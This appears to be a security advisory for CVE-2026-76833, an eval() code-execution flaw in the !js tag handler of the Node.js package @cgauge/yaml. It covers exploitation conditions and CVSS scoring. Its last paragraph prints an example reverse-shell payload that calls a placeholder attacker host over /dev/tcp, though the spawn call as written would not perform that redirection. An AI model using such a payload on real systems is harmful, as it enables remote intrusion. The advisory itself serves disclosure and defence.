@cgauge/yaml CVE-2026-76833

Exploitation requires that the target application uses @cgauge/yaml version ≤ 0.27.0 to parse YAML content that contains attacker-controlled values, and that the !js tagged scalar survives any pre-processing intact before reaching the parser. The CVSS 4.0 UI:A metric indicates that some user or automated process must trigger the YAML parsing operation - in web services configured to ingest YAML from external sources, this condition is satisfied automatically on each inbound request. No special configuration of the library is required; the unsafe eval() call is hardcoded in the !js tag handler and cannot be disabled without modifying the library source. Exploitation is limited to environments running Node.js applications that have installed this specific package; applications using alternative YAML parsers (js-yaml, yaml, etc.) are not affected. Authentication to the host application is not a library-level constraint - whether an attacker must authenticate is determined entirely by the application's own access controls.

The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:N/UI:A reflects that the attacker must deliver a malicious YAML document that a user or automated process then parses - the library itself does not listen on a network socket. However, in typical Node.js service deployments that accept YAML from API consumers, file-upload endpoints, or configuration ingestion pipelines, the effective attack vector becomes network-reachable, substantially increasing real-world risk beyond what AV:L implies in isolation. The existence of a public POC (GitHub Gist) dramatically lowers the skill threshold for exploitation. Active exploitation has not been confirmed by CISA KEV, suggesting opportunistic or targeted attacks rather than broad automated scanning at this time. No EPSS data was provided; the low-footprint nature of the package limits aggregate exposure, but any organization that does run it faces critical-severity conditions. The absence of any safe-parsing alternative within the library means runtime mitigation is architectural rather than configurational - risk cannot be reduced without removing the dependency.

An attacker crafts a YAML document containing a !js tagged scalar with malicious JavaScript - for example, spawn('bash', ['-i', '>& /dev/tcp/attacker/4444', '0>&1']) - and submits it to a Node.js service via a file-upload form, YAML-accepting API endpoint, or configuration import feature. When @cgauge/yaml parses the document, the !js handler calls eval() on the payload, executing the reverse shell or data-exfiltration code in the application's process context with all inherited OS privileges. A public POC on GitHub Gist confirms this technique is functional and adaptable with minimal modification.